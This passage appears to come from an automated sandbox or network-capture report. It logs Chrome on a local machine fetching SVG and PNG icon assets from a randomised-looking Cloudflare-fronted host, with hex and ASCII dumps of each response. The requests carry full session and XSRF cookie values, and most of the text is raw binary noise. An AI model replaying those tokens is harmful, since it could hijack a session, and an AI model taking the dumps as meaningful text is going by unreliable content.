2024-05-22 18:02:15 UTC	653	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:15 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mnrFuJOn3OoQnVImGSxPaFLthftkl2i6STz3nocxfNzRiIw78143" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X1xHUTJpiGT4dliLF%2F6A7FYhPeGk1P0PtDmEdZ%2FN6DxLJKygIdaLotqdG4Du5RtcoLzk7ku7L2c6qj1PKHu0JxWUZdIkKXtncMsJ0CHVvMlIjMtyQcm9OUEIWZM16w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb7505ce8421f-EWR
2024-05-22 18:02:15 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-05-22 18:02:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.17	59920	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:14 UTC	1121	OUT	GET /wx16mHgG3zIkcRUoCPQGlNSI17mnjc9bKeDSCBaBsqf6F90180 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:15 UTC	653	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:15 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="wx16mHgG3zIkcRUoCPQGlNSI17mnjc9bKeDSCBaBsqf6F90180" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0jvrTh%2Fbhcq9sSKJlt6PKukTpcsTM8mbXkiCxOVolTCwE0Qz5%2FZUwkavj3NnUmBVcN2%2BmG8QkP3gjdfAEbIbZn9jBOxU5Ft6Q7mIJCcuCSPTqeiMbySvNBfUVFh74A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb7508d2e42b8-EWR
2024-05-22 18:02:15 UTC	716	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 38 34 2c 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2d 2e 37 34 39 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2d 2e 32 36 31 2c 33 2e 33 2c 33 2e 33 2c 30 2c 30 2c 31 2c 31 2e 36 38 31 2e 34 37 2c 38 2e 36 34 38 2c 38 2e 36 34 38 2c 30 2c 30 2c 31 2c 31 2e 35 34 32 2c 31 2e 31 35 2c 31 37 2e Data Ascii: 84,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.
2024-05-22 18:02:15 UTC	827	IN	Data Raw: 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 2e 37 33 32 2d 2e 36 38 38 61 34 2e 36 37 38 2c 34 2e 36 37 38 2c 30 2c 30 2c 30 2c 2e 35 36 36 2d 2e 36 35 33 2c 31 2e 31 37 35 2c 31 2e 31 37 35 2c 30 2c 30 2c 30 2c 2e 32 32 36 2d 2e 36 38 38 2c 31 2e 33 33 39 2c 31 2e 33 33 39 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e 36 34 35 41 31 31 2e 32 39 33 2c 31 31 2e 32 39 Data Ascii: 3.52,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357.732-.688a4.678,4.678,0,0,0,.566-.653,1.175,1.175,0,0,0,.226-.688,1.339,1.339,0,0,0-.279-.645A11.293,11.29
2024-05-22 18:02:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.17	59921	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:15 UTC	1142	OUT	GET /rst8N6cnlCxOsMQhnswMwlUCaOLMUL9Kjbcu86gh0Bc8CZGqwwMNYgEYsXQoW0SG47ef196 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:16 UTC	676	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:16 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="rst8N6cnlCxOsMQhnswMwlUCaOLMUL9Kjbcu86gh0Bc8CZGqwwMNYgEYsXQoW0SG47ef196" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=djPyvB8dTSQTb6Bwz%2BHHQNg6O%2Bp2typ6W1ySmUkb9FvqLi%2BOO7G0e9dCT6mdtDYX1RyShzW1gjjqSTqKVjO1B%2FYD6g4u2uf0qbt80hQK4VlmehGsmzdP4pI7RHkQUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb7549e4d4394-EWR
2024-05-22 18:02:16 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-05-22 18:02:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.17	59922	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:16 UTC	1141	OUT	GET /ghIwflouldIy5KfULABLPvrbjLWsGG8mn1W21fyM416lcWoJkBUvXYak5v3FPkLDoef203 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:17 UTC	664	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:17 GMT Content-Type: image/png Content-Length: 49602 Connection: close Content-Disposition: inline; filename="ghIwflouldIy5KfULABLPvrbjLWsGG8mn1W21fyM416lcWoJkBUvXYak5v3FPkLDoef203" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=raWAyulxZ7zxziXL5ib00tSwPZg6pjzys3sl7orV2joBogrAvWx8mkX2H6VNsrIu01vH%2FDWE6s18lxPg8E0KFMBLtG1HdgbJoi3KWLILseFmGqO%2FJl9ru5%2BvGHtg2Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb75b9ac21921-EWR
2024-05-22 18:02:17 UTC	705	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 c6 c7 0d ee e7 df Data Ascii: PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: 70 3d 6e b9 22 49 92 24 49 92 24 49 92 24 65 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 cf 02 73 ad d2 d4 63 c0 b9 a4 46 80 41 8b 3c 7a 2a 8b 51 c0 61 c0 15 c0 2b c4 9f 3f d6 fc ba 1b 38 1c 58 6e 91 47 4f 92 24 49 92 24 49 92 24 49 92 82 2c 4f 9a 6c be 81 b4 f5 40 f4 04 ab b5 f8 7a 1e b8 0c d8 8f b4 52 8a ca 61 24 e9 3a ba 1a 98 49 fc 79 62 2d be a6 92 1a 6c f6 c0 95 9e 24 49 92 24 49 92 24 49 92 24 05 db Data Ascii: p=n"I$I$I$egG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZgscFA<zQa+?8XnGO$I$I$I,Ol@zRa$:Iyb-l$I$I$I$
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: 49 92 a0 fa 0d 1c 67 00 e7 50 9f 95 44 24 49 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 49 92 24 75 97 2a 35 70 1c 05 9c 1b 1d 42 92 54 7b 4f 03 bb 02 8f 45 07 91 24 49 92 24 49 92 24 49 52 f7 a8 4a 03 c7 11 c0 79 54 27 af 24 a9 da 9e 20 35 71 8c 0b ce 21 49 92 24 49 92 24 49 92 a4 2e 51 85 86 88 f7 00 57 00 bd d1 41 24 49 5d e5 31 e0 3f 80 e7 a3 83 48 92 24 49 92 24 49 92 24 a9 fe ca de c0 b1 23 70 13 30 Data Ascii: IgPD$IG` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$I$u*5pBT{OE$I$I$IRJyT'$ 5q!I$I$I.QWA$I]1?H$I$I$#p0
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: 12 1b 01 5c 40 fc 39 d5 e9 7a 77 8e c1 93 24 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 d8 2d cf 90 a9 02 7a 81 f7 00 0f 12 7f ee 55 a9 66 00 df 03 56 6f 7e c8 55 51 03 81 33 89 3f f7 3a 55 fb e6 19 36 49 92 24 49 92 24 49 92 24 29 af 43 89 9f 4c eb 44 dd 85 2b 09 74 a3 cd 81 a7 89 3f ff aa 50 73 80 2b 80 8d 5a 1a 69 d5 c1 01 c0 4b c4 9f 8b 45 d7 d3 c0 88 4c 63 26 49 92 24 49 92 24 49 92 24 65 b1 22 30 81 Data Ascii: \@9zw$I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z-zUfVo~UQ3?:U6I$I$I$)CLD+t?Ps+ZiKELc&I$I$I$e"0
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: cf bb a8 9a 00 ec d1 f6 28 4a e5 72 3e f1 d7 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 f8 f3 2d aa be 4d ba 66 a5 ba fb 25 f1 d7 5b bb f5 a5 ec a3 22 49 92 24 49 92 24 49 92 a4 5a db 8b f8 49 ae 76 eb ca ec a3 a2 b2 7a 3b 30 8b f8 73 ae d3 35 0b 38 2a c3 f8 49 55 b1 3e 69 15 8b e8 6b af 9d fa 67 f6 51 91 24 49 92 24 49 92 24 49 52 ad fd 88 f8 49 ae 76 6a 06 b0 51 f6 51 51 19 6d 0b 4c 26 fe 9c eb 74 bd 42 Data Ascii: (Jr>V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}-Mf%["I$I$IZIvz;0s58*IU>ikgQ$I$I$IRIvjQQQmL&tB
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: f7 e2 5c 75 46 e6 b1 91 fa 33 84 6a 3f 20 d8 b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f bf 3a 51 53 80 3d f3 0c 9b d4 b5 ae 24 fe 5a 6e b5 76 2f 60 3c a4 32 d8 16 b8 18 78 95 f8 eb cc 6a be 5e 06 fe 07 d8 6a e1 03 2b 49 1d 74 0b f1 5f 0f ad 7a d5 34 e0 f7 c0 67 80 8d 90 24 a9 7e fe 4d fc fd 36 67 2d 97 77 78 a4 d7 38 8d f8 f3 3c 67 7d 28 eb e8 48 0a 33 14 98 4c fc 17 95 56 ea be 02 c6 43 f1 06 00 37 11 7f Data Ascii: \uF3j? !5qIIr}u~RfR/T*+GPf7;a~=IZHToWUf?mH"JSx?:QS=$Znv/`<2xj^j+It_z4g$~M6g-wx8<g}(H3LVC7
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: 0a c1 59 24 49 92 24 49 25 d0 5f 03 c7 f6 1d 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 74 10 49 92 3a 60 55 e0 17 c0 ff c3 ef fb 25 49 92 24 a9 6b f5 d7 c0 51 c5 a7 dc 6e 06 26 47 87 50 5b ce 24 ed 01 5b 47 d3 81 77 01 ff 88 0e 22 e9 ff 5c 13 1d a0 45 55 6c b2 54 f9 f5 90 56 c0 ba 99 d4 28 24 95 c9 10 e0 5c e0 c7 c0 b0 e0 2c 92 24 75 c2 fb 80 07 80 43 a2 83 48 92 24 49 92 3a af 2e 2b 70 b8 fa 46 b5 bd 9d Data Ascii: Y$I$I%_OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwTtI:`U%I$kQn&GP[$[Gw"\EUlTV($\,$uCH$I:.+pF
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: 4f d9 30 3a 80 4a e3 10 e0 ec e8 10 52 c9 f5 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e d4 01 55 7b 5a ba db ac 08 7c 2d 3a 44 66 8f 02 9f 8a 0e 21 a9 10 55 bc a7 ac 46 f5 1a 4f 94 cf 36 c0 2f e9 bf 43 57 52 ff d6 06 7e 4e fa 01 69 56 70 16 49 92 3a 69 20 f0 33 52 03 f0 9f 83 b3 48 92 24 49 52 94 cb 80 c7 fb f9 fd ad 81 8d fb fc fa 71 e0 9e 7e fe de 5d 4d fc 5f cb 